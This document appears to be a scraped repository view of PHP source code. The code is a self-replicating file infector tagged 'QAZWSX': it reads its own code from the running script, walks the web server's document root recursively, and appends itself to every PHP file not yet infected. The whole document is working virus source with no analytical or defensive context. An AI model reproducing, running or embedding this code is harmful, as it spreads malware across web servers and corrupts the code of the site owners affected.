2020-10-10 02:59:39 +00:00
|
|
|
<?//QAZWSX
|
|
|
|
|
|
|
|
function Infect($path)
|
|
|
|
{
|
|
|
|
global $self;
|
|
|
|
|
|
|
|
$handle = opendir($path);
|
|
|
|
|
|
|
|
$file = readdir($handle);
|
|
|
|
|
|
|
|
while ( false != $file )
|
|
|
|
{
|
|
|
|
if ($file != "." && $file != "..")
|
|
|
|
{
|
|
|
|
|
|
|
|
if (is_dir($path.$file))
|
|
|
|
{
|
|
|
|
Infect($path.$file."/");
|
|
|
|
}
|
|
|
|
else if (strrpos($file, ".php") != 0)
|
|
|
|
{
|
|
|
|
$do_infect = true;
|
|
|
|
|
|
|
|
$victim = fopen($path.$file, "r+");
|
|
|
|
while (!feof($victim))
|
|
|
|
{
|
|
|
|
$buf = fgets($victim, 4096);
|
|
|
|
if (strrpos($buf, "QAZWSX") != 0)
|
|
|
|
{
|
|
|
|
$do_infect = false;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($do_infect)
|
|
|
|
{
|
|
|
|
fputs($victim, $self);
|
|
|
|
}
|
|
|
|
|
|
|
|
fclose($victim);
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
$file = readdir($handle);
|
|
|
|
}
|
|
|
|
|
|
|
|
closedir($handle);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
$found = false;
|
|
|
|
$bracket_found = false;
|
|
|
|
|
|
|
|
$sf = fopen($SCRIPT_FILENAME, "r");
|
|
|
|
|
|
|
|
while (!feof($sf))
|
|
|
|
{
|
|
|
|
$s = fgets($sf, 4096);
|
|
|
|
if ($found)
|
|
|
|
{
|
|
|
|
$self .= $s;
|
|
|
|
if (strrpos($s, "?>") != 0)
|
|
|
|
{
|
|
|
|
if ($bracket_found)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
else
|
|
|
|
{
|
|
|
|
$bracket_found = true;
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
}
|
|
|
|
else if (strrpos($s, "QAZWSX") != 0)
|
|
|
|
{
|
|
|
|
$found = true;
|
|
|
|
$self = $s;
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
fclose($sf);
|
|
|
|
|
|
|
|
Infect($DOCUMENT_ROOT."/");
|
|
|
|
|
2020-11-14 07:38:24 +00:00
|
|
|
?>
|